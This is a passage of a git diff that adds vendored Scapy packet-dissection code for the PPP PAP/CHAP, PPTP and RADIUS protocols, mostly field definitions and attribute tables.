) + + +# Password authentication protocol (RFC 1334) + + +_PPP_paptypes = {1: "Authenticate-Request", + 2: "Authenticate-Ack", + 3: "Authenticate-Nak"} + + +class PPP_PAP(Packet): + name = "PPP Password Authentication Protocol" + fields_desc = [ + ByteEnumField("code", 1, _PPP_paptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="!H", length_of="data", + adjust=lambda _, val: val + 4), + StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), + ] + + @classmethod + def dispatch_hook(cls, _pkt=None, *_, **kargs): + code = None + if _pkt: + code = orb(_pkt[0]) + elif "code" in kargs: + code = kargs["code"] + if isinstance(code, six.string_types): + code = cls.fields_desc[0].s2i[code] + + if code == 1: + return PPP_PAP_Request + elif code in [2, 3]: + return PPP_PAP_Response + return cls + + def extract_padding(self, pay): + return "", pay + + +class PPP_PAP_Request(PPP_PAP): + fields_desc = [ + ByteEnumField("code", 1, _PPP_paptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="!H", length_of="username", + adjust=lambda pkt, val: val + 6 + len(pkt.password)), + FieldLenField("username_len", None, fmt="B", length_of="username"), + StrLenField("username", None, + length_from=lambda pkt: pkt.username_len), + FieldLenField("passwd_len", None, fmt="B", length_of="password"), + StrLenField("password", None, length_from=lambda pkt: pkt.passwd_len), + ] + + def mysummary(self): + return self.sprintf("PAP-Request username=%PPP_PAP_Request.username%" + " password=%PPP_PAP_Request.password%") + + +class PPP_PAP_Response(PPP_PAP): + fields_desc = [ + ByteEnumField("code", 2, _PPP_paptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="!H", length_of="message", + adjust=lambda _, val: val + 5), + FieldLenField("msg_len", None, fmt="B", length_of="message"), + StrLenField("message", "", length_from=lambda pkt: pkt.msg_len), + ] + + def answers(self, other): + return isinstance(other, PPP_PAP_Request) and other.id == self.id + + def mysummary(self): + res = "PAP-Ack" if self.code == 2 else "PAP-Nak" + if self.msg_len > 0: + res += self.sprintf(" msg=%PPP_PAP_Response.message%") + return res + + +# Challenge Handshake Authentication protocol (RFC1994) + +_PPP_chaptypes = {1: "Challenge", + 2: "Response", + 3: "Success", + 4: "Failure"} + + +class PPP_CHAP(Packet): + name = "PPP Challenge Handshake Authentication Protocol" + fields_desc = [ + ByteEnumField("code", 1, _PPP_chaptypes), + XByteField("id", 0), + FieldLenField("len", None, fmt="!H", length_of="data", + adjust=lambda _, val: val + 4), + StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), + ] + + def answers(self, other): + return isinstance(other, PPP_CHAP_ChallengeResponse) \ + and other.code == 2 and self.code in (3, 4) \ + and self.id == other.id + + @classmethod + def dispatch_hook(cls, _pkt=None, *_, **kargs): + code = None + if _pkt: + code = orb(_pkt[0]) + elif "code" in kargs: + code = kargs["code"] + if isinstance(code, six.string_types): + code = cls.fields_desc[0].s2i[code] + + if code in (1, 2): + return PPP_CHAP_ChallengeResponse + return cls + + def extract_padding(self, pay): + return "", pay + + def mysummary(self): + if self.code == 3: + return self.sprintf("CHAP Success message=%PPP_CHAP.data%") + elif self.code == 4: + return self.sprintf("CHAP Failure message=%PPP_CHAP.data%") + + +class PPP_CHAP_ChallengeResponse(PPP_CHAP): + fields_desc = [ + ByteEnumField("code", 1, _PPP_chaptypes), + XByteField("id", 0), + FieldLenField( + "len", None, fmt="!H", length_of="value", + adjust=lambda pkt, val: val + len(pkt.optional_name) + 5, + ), + FieldLenField("value_size", None, fmt="B", length_of="value"), + XStrLenField("value", b'\x00\x00\x00\x00\x00\x00\x00\x00', + length_from=lambda pkt: pkt.value_size), + StrLenField("optional_name", "", + length_from=lambda pkt: pkt.len - pkt.value_size - 5), + ] + + def answers(self, other): + return isinstance(other, PPP_CHAP_ChallengeResponse) \ + and other.code == 1 and self.code == 2 and self.id == other.id + + def mysummary(self): + if self.code == 1: + return self.sprintf( + "CHAP challenge=0x%PPP_CHAP_ChallengeResponse.value% " + "optional_name=%PPP_CHAP_ChallengeResponse.optional_name%" + ) + elif self.code == 2: + return self.sprintf( + "CHAP response=0x%PPP_CHAP_ChallengeResponse.value% " + "optional_name=%PPP_CHAP_ChallengeResponse.optional_name%" + ) + else: + return super(PPP_CHAP_ChallengeResponse, self).mysummary() + + +bind_layers(PPPoED, PPPoED_Tags, type=1) +bind_layers(Ether, PPPoED, type=0x8863) +bind_layers(Ether, PPPoE, type=0x8864) +bind_layers(CookedLinux, PPPoED, proto=0x8863) +bind_layers(CookedLinux, PPPoE, proto=0x8864) +bind_layers(PPPoE, PPP, code=0) +bind_layers(HDLC, PPP,) +bind_layers(DIR_PPP, PPP) +bind_layers(PPP, EAP, proto=0xc227) +bind_layers(PPP, IP, proto=0x0021) +bind_layers(PPP, IPv6, proto=0x0057) +bind_layers(PPP, PPP_CHAP, proto=0xc223) +bind_layers(PPP, PPP_IPCP, proto=0x8021) +bind_layers(PPP, PPP_ECP, proto=0x8053) +bind_layers(PPP, PPP_LCP, proto=0xc021) +bind_layers(PPP, PPP_PAP, proto=0xc023) +bind_layers(Ether, PPP_IPCP, type=0x8021) +bind_layers(Ether, PPP_ECP, type=0x8053) +bind_layers(GRE_PPTP, PPP, proto=0x880b) + + +conf.l2types.register(DLT_PPP, PPP) +conf.l2types.register(DLT_PPP_SERIAL, HDLC) +conf.l2types.register(DLT_PPP_ETHER, PPPoE) +conf.l2types.register(DLT_PPP_WITH_DIR, DIR_PPP) diff --git a/libs/scapy/layers/pptp.py b/libs/scapy/layers/pptp.py new file mode 100755 index 0000000..9240043 --- /dev/null +++ b/libs/scapy/layers/pptp.py @@ -0,0 +1,381 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Jan Sebechlebsky +# This program is published under a GPLv2 license + +""" +PPTP (Point to Point Tunneling Protocol) + +[RFC 2637] +""" + +from scapy.packet import Packet, bind_layers +from scapy.layers.inet import TCP +from scapy.compat import orb +from scapy.fields import ByteEnumField, FieldLenField, FlagsField, IntField, \ + IntEnumField, LenField, XIntField, ShortField, ShortEnumField, \ + StrFixedLenField, StrLenField, XShortField, XByteField + +_PPTP_MAGIC_COOKIE = 0x1a2b3c4d + +_PPTP_msg_type = {1: "Control Message", + 2: "Managemenent Message"} + +_PPTP_ctrl_msg_type = { # Control Connection Management + 1: "Start-Control-Connection-Request", + 2: "Start-Control-Connection-Reply", + 3: "Stop-Control-Connection-Request", + 4: "Stop-Control-Connection-Reply", + 5: "Echo-Request", + 6: "Echo-Reply", + # Call Management + 7: "Outgoing-Call-Request", + 8: "Outgoing-Call-Reply", + 9: "Incoming-Call-Request", + 10: "Incoming-Call-Reply", + 11: "Incoming-Call-Connected", + 12: "Call-Clear-Request", + 13: "Call-Disconnect-Notify", + # Error Reporting + 14: "WAN-Error-Notify", + # PPP Session Control + 15: "Set-Link-Info"} + +_PPTP_general_error_code = {0: "None", + 1: "Not-Connected", + 2: "Bad-Format", + 3: "Bad-Value", + 4: "No-Resource", + 5: "Bad-Call ID", + 6: "PAC-Error"} + + +class PPTP(Packet): + name = "PPTP" + fields_desc = [FieldLenField("len", None, fmt="H", length_of="data", + adjust=lambda p, x: x + 12), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 1, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + StrLenField("data", "", length_from=lambda p: p.len - 12)] + + registered_options = {} + + @classmethod + def register_variant(cls): + cls.registered_options[cls.ctrl_msg_type.default] = cls + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt: + o = orb(_pkt[9]) + return cls.registered_options.get(o, cls) + return cls + + +_PPTP_FRAMING_CAPABILITIES_FLAGS = ["Asynchronous Framing supported", + "Synchronous Framing supported"] + +_PPTP_BEARER_CAPABILITIES_FLAGS = ["Analog access supported", + "Digital access supported"] + + +class PPTPStartControlConnectionRequest(PPTP): + name = "PPTP Start Control Connection Request" + fields_desc = [LenField("len", 156), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 1, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("protocol_version", 0x0100), + XShortField("reserved_1", 0x0000), + FlagsField("framing_capabilities", 0, 32, + _PPTP_FRAMING_CAPABILITIES_FLAGS), + FlagsField("bearer_capabilities", 0, 32, + _PPTP_BEARER_CAPABILITIES_FLAGS), + ShortField("maximum_channels", 65535), + ShortField("firmware_revision", 256), + StrFixedLenField("host_name", "linux", 64), + StrFixedLenField("vendor_string", "", 64)] + + +_PPTP_start_control_connection_result = {1: "OK", + 2: "General error", + 3: "Command channel already exists", + 4: "Not authorized", + 5: "Unsupported protocol version"} + + +class PPTPStartControlConnectionReply(PPTP): + name = "PPTP Start Control Connection Reply" + fields_desc = [LenField("len", 156), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 2, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("protocol_version", 0x0100), + ByteEnumField("result_code", 1, + _PPTP_start_control_connection_result), + ByteEnumField("error_code", 0, _PPTP_general_error_code), + FlagsField("framing_capabilities", 0, 32, + _PPTP_FRAMING_CAPABILITIES_FLAGS), + FlagsField("bearer_capabilities", 0, 32, + _PPTP_BEARER_CAPABILITIES_FLAGS), + ShortField("maximum_channels", 65535), + ShortField("firmware_revision", 256), + StrFixedLenField("host_name", "linux", 64), + StrFixedLenField("vendor_string", "", 64)] + + def answers(self, other): + return isinstance(other, PPTPStartControlConnectionRequest) + + +_PPTP_stop_control_connection_reason = {1: "None", + 2: "Stop-Protocol", + 3: "Stop-Local-Shutdown"} + + +class PPTPStopControlConnectionRequest(PPTP): + name = "PPTP Stop Control Connection Request" + fields_desc = [LenField("len", 16), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 3, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ByteEnumField("reason", 1, + _PPTP_stop_control_connection_reason), + XByteField("reserved_1", 0x00), + XShortField("reserved_2", 0x0000)] + + +_PPTP_stop_control_connection_result = {1: "OK", + 2: "General error"} + + +class PPTPStopControlConnectionReply(PPTP): + name = "PPTP Stop Control Connection Reply" + fields_desc = [LenField("len", 16), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 4, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ByteEnumField("result_code", 1, + _PPTP_stop_control_connection_result), + ByteEnumField("error_code", 0, _PPTP_general_error_code), + XShortField("reserved_2", 0x0000)] + + def answers(self, other): + return isinstance(other, PPTPStopControlConnectionRequest) + + +class PPTPEchoRequest(PPTP): + name = "PPTP Echo Request" + fields_desc = [LenField("len", 16), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 5, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + IntField("identifier", None)] + + +_PPTP_echo_result = {1: "OK", + 2: "General error"} + + +class PPTPEchoReply(PPTP): + name = "PPTP Echo Reply" + fields_desc = [LenField("len", 20), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 6, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + IntField("identifier", None), + ByteEnumField("result_code", 1, _PPTP_echo_result), + ByteEnumField("error_code", 0, _PPTP_general_error_code), + XShortField("reserved_1", 0x0000)] + + def answers(self, other): + return isinstance(other, PPTPEchoRequest) and other.identifier == self.identifier # noqa: E501 + + +_PPTP_bearer_type = {1: "Analog channel", + 2: "Digital channel", + 3: "Any type of channel"} + +_PPTP_framing_type = {1: "Asynchronous framing", + 2: "Synchronous framing", + 3: "Any type of framing"} + + +class PPTPOutgoingCallRequest(PPTP): + name = "PPTP Outgoing Call Request" + fields_desc = [LenField("len", 168), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 7, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("call_id", 1), + ShortField("call_serial_number", 0), + IntField("minimum_bps", 32768), + IntField("maximum_bps", 2147483648), + IntEnumField("bearer_type", 3, _PPTP_bearer_type), + IntEnumField("framing_type", 3, _PPTP_framing_type), + ShortField("pkt_window_size", 16), + ShortField("pkt_proc_delay", 0), + ShortField('phone_number_len', 0), + XShortField("reserved_1", 0x0000), + StrFixedLenField("phone_number", '', 64), + StrFixedLenField("subaddress", '', 64)] + + +_PPTP_result_code = {1: "Connected", + 2: "General error", + 3: "No Carrier", + 4: "Busy", + 5: "No dial tone", + 6: "Time-out", + 7: "Do not accept"} + + +class PPTPOutgoingCallReply(PPTP): + name = "PPTP Outgoing Call Reply" + fields_desc = [LenField("len", 32), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 8, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("call_id", 1), + ShortField("peer_call_id", 1), + ByteEnumField("result_code", 1, _PPTP_result_code), + ByteEnumField("error_code", 0, _PPTP_general_error_code), + ShortField("cause_code", 0), + IntField("connect_speed", 100000000), + ShortField("pkt_window_size", 16), + ShortField("pkt_proc_delay", 0), + IntField("channel_id", 0)] + + def answers(self, other): + return isinstance(other, PPTPOutgoingCallRequest) and other.call_id == self.peer_call_id # noqa: E501 + + +class PPTPIncomingCallRequest(PPTP): + name = "PPTP Incoming Call Request" + fields_desc = [LenField("len", 220), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 9, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("call_id", 1), + ShortField("call_serial_number", 1), + IntEnumField("bearer_type", 3, _PPTP_bearer_type), + IntField("channel_id", 0), + ShortField("dialed_number_len", 0), + ShortField("dialing_number_len", 0), + StrFixedLenField("dialed_number", "", 64), + StrFixedLenField("dialing_number", "", 64), + StrFixedLenField("subaddress", "", 64)] + + +class PPTPIncomingCallReply(PPTP): + name = "PPTP Incoming Call Reply" + fields_desc = [LenField("len", 148), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 10, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("call_id", 1), + ShortField("peer_call_id", 1), + ByteEnumField("result_code", 1, _PPTP_result_code), + ByteEnumField("error_code", 0, _PPTP_general_error_code), + ShortField("pkt_window_size", 64), + ShortField("pkt_transmit_delay", 0), + XShortField("reserved_1", 0x0000)] + + def answers(self, other): + return isinstance(other, PPTPIncomingCallRequest) and other.call_id == self.peer_call_id # noqa: E501 + + +class PPTPIncomingCallConnected(PPTP): + name = "PPTP Incoming Call Connected" + fields_desc = [LenField("len", 28), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 11, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("peer_call_id", 1), + XShortField("reserved_1", 0x0000), + IntField("connect_speed", 100000000), + ShortField("pkt_window_size", 64), + ShortField("pkt_transmit_delay", 0), + IntEnumField("framing_type", 1, _PPTP_framing_type)] + + def answers(self, other): + return isinstance(other, PPTPIncomingCallReply) and other.call_id == self.peer_call_id # noqa: E501 + + +class PPTPCallClearRequest(PPTP): + name = "PPTP Call Clear Request" + fields_desc = [LenField("len", 16), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 12, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("call_id", 1), + XShortField("reserved_1", 0x0000)] + + +_PPTP_call_disconnect_result = {1: "Lost Carrier", + 2: "General error", + 3: "Admin Shutdown", + 4: "Request"} + + +class PPTPCallDisconnectNotify(PPTP): + name = "PPTP Call Disconnect Notify" + fields_desc = [LenField("len", 148), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 13, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("call_id", 1), + ByteEnumField("result_code", 1, + _PPTP_call_disconnect_result), + ByteEnumField("error_code", 0, _PPTP_general_error_code), + ShortField("cause_code", 0), + XShortField("reserved_1", 0x0000), + StrFixedLenField("call_statistic", "", 128)] + + +class PPTPWANErrorNotify(PPTP): + name = "PPTP WAN Error Notify" + fields_desc = [LenField("len", 40), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 14, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("peer_call_id", 1), + XShortField("reserved_1", 0x0000), + IntField("crc_errors", 0), + IntField("framing_errors", 0), + IntField("hardware_overruns", 0), + IntField("buffer_overruns", 0), + IntField("time_out_errors", 0), + IntField("alignment_errors", 0)] + + +class PPTPSetLinkInfo(PPTP): + name = "PPTP Set Link Info" + fields_desc = [LenField("len", 24), + ShortEnumField("type", 1, _PPTP_msg_type), + XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), + ShortEnumField("ctrl_msg_type", 15, _PPTP_ctrl_msg_type), + XShortField("reserved_0", 0x0000), + ShortField("peer_call_id", 1), + XShortField("reserved_1", 0x0000), + XIntField("send_accm", 0x00000000), + XIntField("receive_accm", 0x00000000)] + + +bind_layers(TCP, PPTP, sport=1723) +bind_layers(TCP, PPTP, dport=1723) diff --git a/libs/scapy/layers/radius.py b/libs/scapy/layers/radius.py new file mode 100755 index 0000000..326dcad --- /dev/null +++ b/libs/scapy/layers/radius.py @@ -0,0 +1,1160 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Vincent Mauge +# This program is published under a GPLv2 license + +""" +RADIUS (Remote Authentication Dial In User Service) +""" + +import struct +import hashlib +import hmac +from scapy.compat import orb, raw +from scapy.packet import Packet, Padding, bind_layers, bind_bottom_up +from scapy.fields import ByteField, ByteEnumField, IntField, StrLenField,\ + XStrLenField, XStrFixedLenField, FieldLenField, PacketLenField,\ + PacketListField, IPField, MultiEnumField +from scapy.layers.inet import UDP +from scapy.layers.eap import EAP +from scapy.config import conf +from scapy.error import Scapy_Exception + + +# https://www.iana.org/assignments/radius-types/radius-types.xhtml +_radius_attribute_types = { + 1: "User-Name", + 2: "User-Password", + 3: "CHAP-Password", + 4: "NAS-IP-Address", + 5: "NAS-Port", + 6: "Service-Type", + 7: "Framed-Protocol", + 8: "Framed-IP-Address", + 9: "Framed-IP-Netmask", + 10: "Framed-Routing", + 11: "Filter-Id", + 12: "Framed-MTU", + 13: "Framed-Compression", + 14: "Login-IP-Host", + 15: "Login-Service", + 16: "Login-TCP-Port", + 17: "Unassigned", + 18: "Reply-Message", + 19: "Callback-Number", + 20: "Callback-Id", + 21: "Unassigned", + 22: "Framed-Route", + 23: "Framed-IPX-Network", + 24: "State", + 25: "Class", + 26: "Vendor-Specific", + 27: "Session-Timeout", + 28: "Idle-Timeout", + 29: "Termination-Action", + 30: "Called-Station-Id", + 31: "Calling-Station-Id", + 32: "NAS-Identifier", + 33: "Proxy-State", + 34: "Login-LAT-Service", + 35: "Login-LAT-Node", + 36: "Login-LAT-Group", + 37: "Framed-AppleTalk-Link", + 38: "Framed-AppleTalk-Network", + 39: "Framed-AppleTalk-Zone", + 40: "Acct-Status-Type", + 41: "Acct-Delay-Time", + 42: "Acct-Input-Octets", + 43: "Acct-Output-Octets", + 44: "Acct-Session-Id", + 45: "Acct-Authentic", + 46: "Acct-Session-Time", + 47: "Acct-Input-Packets", + 48: "Acct-Output-Packets", + 49: "Acct-Terminate-Cause", + 50: "Acct-Multi-Session-Id", + 51: "Acct-Link-Count", + 52: "Acct-Input-Gigawords", + 53: "Acct-Output-Gigawords", + 54: "Unassigned", + 55: "Event-Timestamp", + 56: "Egress-VLANID", + 57: "Ingress-Filters", + 58: "Egress-VLAN-Name", + 59: "User-Priority-Table", + 60: "CHAP-Challenge", + 61: "NAS-Port-Type", + 62: "Port-Limit", + 63: "Login-LAT-Port", + 64: "Tunnel-Type", + 65: "Tunnel-Medium-Type", + 66: "Tunnel-Client-Endpoint", + 67: "Tunnel-Server-Endpoint", + 68: "Acct-Tunnel-Connection", + 69: "Tunnel-Password", + 70: "ARAP-Password", + 71: "ARAP-Features", + 72: "ARAP-Zone-Access", + 73: "ARAP-Security", + 74: "ARAP-Security-Data", + 75: "Password-Retry", + 76: "Prompt", + 77: "Connect-Info", + 78: "Configuration-Token", + 79: "EAP-Message", + 80: "Message-Authenticator", + 81: "Tunnel-Private-Group-ID", + 82: "Tunnel-Assignment-ID", + 83: "Tunnel-Preference", + 84: "ARAP-Challenge-Response", + 85: "Acct-Interim-Interval", + 86: "Acct-Tunnel-Packets-Lost", + 87: "NAS-Port-Id", + 88: "Framed-Pool", + 89: "CUI", + 90: "Tunnel-Client-Auth-ID", + 91: "Tunnel-Server-Auth-ID", + 92: "NAS-Filter-Rule", + 93: "Unassigned", + 94: "Originating-Line-Info", + 95: "NAS-IPv6-Address", + 96: "Framed-Interface-Id", + 97: "Framed-IPv6-Prefix", + 98: "Login-IPv6-Host", + 99: "Framed-IPv6-Route", + 100: "Framed-IPv6-Pool", + 101: "Error-Cause", + 102: "EAP-Key-Name", + 103: "Digest-Response", + 104: "Digest-Realm", + 105: "Digest-Nonce", + 106: "Digest-Response-Auth", + 107: "Digest-Nextnonce", + 108: "Digest-Method", + 109: "Digest-URI", + 110: "Digest-Qop", + 111: "Digest-Algorithm", + 112: "Digest-Entity-Body-Hash", + 113: "Digest-CNonce", + 114: "Digest-Nonce-Count", + 115: "Digest-Username", + 116: "Digest-Opaque", + 117: "Digest-Auth-Param", + 118: "Digest-AKA-Auts", + 119: "Digest-Domain", + 120: "Digest-Stale", + 121: "Digest-HA1", + 122: "SIP-AOR", + 123: "Delegated-IPv6-Prefix", + 124: "MIP6-Feature-Vector", + 125: "MIP6-Home-Link-Prefix", + 126: "Operator-Name", + 127: "Location-Information", + 128: "Location-Data", + 129: "Basic-Location-Policy-Rules", + 130: "Extended-Location-Policy-Rules", + 131: "Location-Capable", + 132: "Requested-Location-Info", + 133: "Framed-Management-Protocol", + 134: "Management-Transport-Protection", + 135: "Management-Policy-Id", + 136: "Management-Privilege-Level", + 137: "PKM-SS-Cert", + 138: "PKM-CA-Cert", + 139: "PKM-Config-Settings", + 140: "PKM-Cryptosuite-List", + 141: "PKM-SAID", + 142: "PKM-SA-Descriptor", + 143: "PKM-Auth-Key", + 144: "DS-Lite-Tunnel-Name", + 145: "Mobile-Node-Identifier", + 146: "Service-Selection", + 147: "PMIP6-Home-LMA-IPv6-Address", + 148: "PMIP6-Visited-LMA-IPv6-Address", + 149: "PMIP6-Home-LMA-IPv4-Address", + 150: "PMIP6-Visited-LMA-IPv4-Address", + 151: "PMIP6-Home-HN-Prefix", + 152: "PMIP6-Visited-HN-Prefix", + 153: "PMIP6-Home-Interface-ID", + 154: "PMIP6-Visited-Interface-ID", + 155: "PMIP6-Home-IPv4-HoA", + 156: "PMIP6-Visited-IPv4-HoA", + 157: "PMIP6-Home-DHCP4-Server-Address", + 158: "PMIP6-Visited-DHCP4-Server-Address", + 159: "PMIP6-Home-DHCP6-Server-Address", + 160: "PMIP6-Visited-DHCP6-Server-Address", + 161: "PMIP6-Home-IPv4-Gateway", + 162: "PMIP6-Visited-IPv4-Gateway", + 163: "EAP-Lower-Layer", + 164: "GSS-Acceptor-Service-Name", + 165: "GSS-Acceptor-Host-Name", + 166: "GSS-Acceptor-Service-Specifics", + 167: "GSS-Acceptor-Realm-Name", + 168: "Framed-IPv6-Address", + 169: "DNS-Server-IPv6-Address", + 170: "Route-IPv6-Information", + 171: "Delegated-IPv6-Prefix-Pool", + 172: "Stateful-IPv6-Address-Pool", + 173: "IPv6-6rd-Configuration", + 174: "Allowed-Called-Station-Id", + 175: "EAP-Peer-Id", + 176: "EAP-Server-Id", + 177: "Mobility-Domain-Id", + 178: "Preauth-Timeout", + 179: "Network-Id-Name", + 180: "EAPoL-Announcement", + 181: "WLAN-HESSID", + 182: "WLAN-Venue-Info", + 183: "WLAN-Venue-Language", + 184: "WLAN-Venue-Name", + 185: "WLAN-Reason-Code", + 186: "WLAN-Pairwise-Cipher", + 187: "WLAN-Group-Cipher", + 188: "WLAN-AKM-Suite", + 189: "WLAN-Group-Mgmt-Cipher", + 190: "WLAN-RF-Band", + 191: "Unassigned", +} + + +class RadiusAttribute(Packet): + """ + Implements a RADIUS attribute (RFC 2865). Every specific RADIUS attribute + class should inherit from this one. + """ + + name = "Radius Attribute" + fields_desc = [ + ByteEnumField("type", 1, _radius_attribute_types), + FieldLenField("len", None, "value", "B", + adjust=lambda pkt, x: len(pkt.value) + 2), + StrLenField("value", "", length_from=lambda pkt: pkt.len - 2) + ] + + registered_attributes = {} + + @classmethod + def register_variant(cls): + """ + Registers the RADIUS attributes defined in this module. + """ + + if hasattr(cls, "val"): + cls.registered_attributes[cls.val] = cls + else: + cls.registered_attributes[cls.type.default] = cls + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + Returns the right RadiusAttribute class for the given data. + """ + + if _pkt: + attr_type = orb(_pkt[0]) + return cls.registered_attributes.get(attr_type, cls) + return cls + + def post_build(self, p, pay): + length = self.len + if length is None: + length = len(p) + p = p[:1] + struct.pack("!B", length) + p[2:] + return p + + def guess_payload_class(self, _): + return Padding + + +class _SpecificRadiusAttr(RadiusAttribute): + """ + Class from which every "specific" RADIUS attribute defined in this module + inherits. + """ + + __slots__ = ["val"] + match_subclass = True + + def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields): # noqa: E501 + super(_SpecificRadiusAttr, self).__init__( + _pkt, + post_transform, + _internal, + _underlayer, + **fields + ) + self.fields["type"] = self.val + name_parts = self.__class__.__name__.split('RadiusAttr_') + if len(name_parts) < 2: + raise Scapy_Exception( + "Invalid class name: {}".format(self.__class__.__name__) + ) + self.name = name_parts[1].replace('_', '-') + + +# +# RADIUS attributes which values are 4 bytes integers +# + +class _RadiusAttrIntValue(_SpecificRadiusAttr): + """ + Implements a RADIUS attribute which value field is 4 bytes long integer. + """ + + fields_desc = [ + ByteEnumField("type", 5, _radius_attribute_types), + ByteField("len", 6), + IntField("value", 0) + ] + + +class RadiusAttr_User_Name(_SpecificRadiusAttr): + """RFC 2865""" + val = 1 + + +class RadiusAttr_NAS_Port(_RadiusAttrIntValue): + """RFC 2865""" + val = 5 + + +class RadiusAttr_Framed_MTU(_RadiusAttrIntValue): + """RFC 2865""" + val = 12 + + +class RadiusAttr_Login_TCP_Port(_RadiusAttrIntValue): + """RFC 2865""" + val = 16 + + +class RadiusAttr_Session_Timeout(_RadiusAttrIntValue): + """RFC 2865""" + val = 27 + + +class RadiusAttr_Idle_Timeout(_RadiusAttrIntValue): + """RFC 2865""" + val = 28 + + +class RadiusAttr_Framed_AppleTalk_Link(_RadiusAttrIntValue): + """RFC 2865""" + val = 37 + + +class RadiusAttr_Framed_AppleTalk_Network(_RadiusAttrIntValue): + """RFC 2865""" + val = 38 + + +class RadiusAttr_Acct_Delay_Time(_RadiusAttrIntValue): + """RFC 2866""" + val = 41 + + +class RadiusAttr_Acct_Input_Octets(_RadiusAttrIntValue): + """RFC 2866""" + val = 42 + + +class RadiusAttr_Acct_Output_Octets(_RadiusAttrIntValue): + """RFC 2866""" + val = 43 + + +class RadiusAttr_Acct_Session_Time(_RadiusAttrIntValue): + """RFC 2866""" + val = 46 + + +class RadiusAttr_Acct_Input_Packets(_RadiusAttrIntValue): + """RFC 2866""" + val = 47 + + +class RadiusAttr_Acct_Output_Packets(_RadiusAttrIntValue): + """RFC 2866""" + val = 48 + + +class RadiusAttr_Acct_Link_Count(_RadiusAttrIntValue): + """RFC 2866""" + val = 51 + + +class RadiusAttr_Acct_Input_Gigawords(_RadiusAttrIntValue): + """RFC 2869""" + val = 52 + + +class RadiusAttr_Acct_Output_Gigawords(_RadiusAttrIntValue): + """RFC 2869""" + val = 53 + + +class RadiusAttr_Egress_VLANID(_RadiusAttrIntValue): + """RFC 4675""" + val = 56 + + +class RadiusAttr_Port_Limit(_RadiusAttrIntValue): + """RFC 2865""" + val = 62 + + +class RadiusAttr_ARAP_Security(_RadiusAttrIntValue): + """RFC 2869""" + val = 73 + + +class RadiusAttr_Password_Retry(_RadiusAttrIntValue): + """RFC 2869""" + val = 75 + + +class RadiusAttr_Tunnel_Preference(_RadiusAttrIntValue): + """RFC 2868""" + val = 83 + + +class RadiusAttr_Acct_Interim_Interval(_RadiusAttrIntValue): + """RFC 2869""" + val = 85 + + +class RadiusAttr_Acct_Tunnel_Packets_Lost(_RadiusAttrIntValue): + """RFC 2867""" + val = 86 + + +class RadiusAttr_Management_Privilege_Level(_RadiusAttrIntValue): + """RFC 5607""" + val = 136 + + +class RadiusAttr_Mobility_Domain_Id(_RadiusAttrIntValue): + """RFC 7268""" + val = 177 + + +class 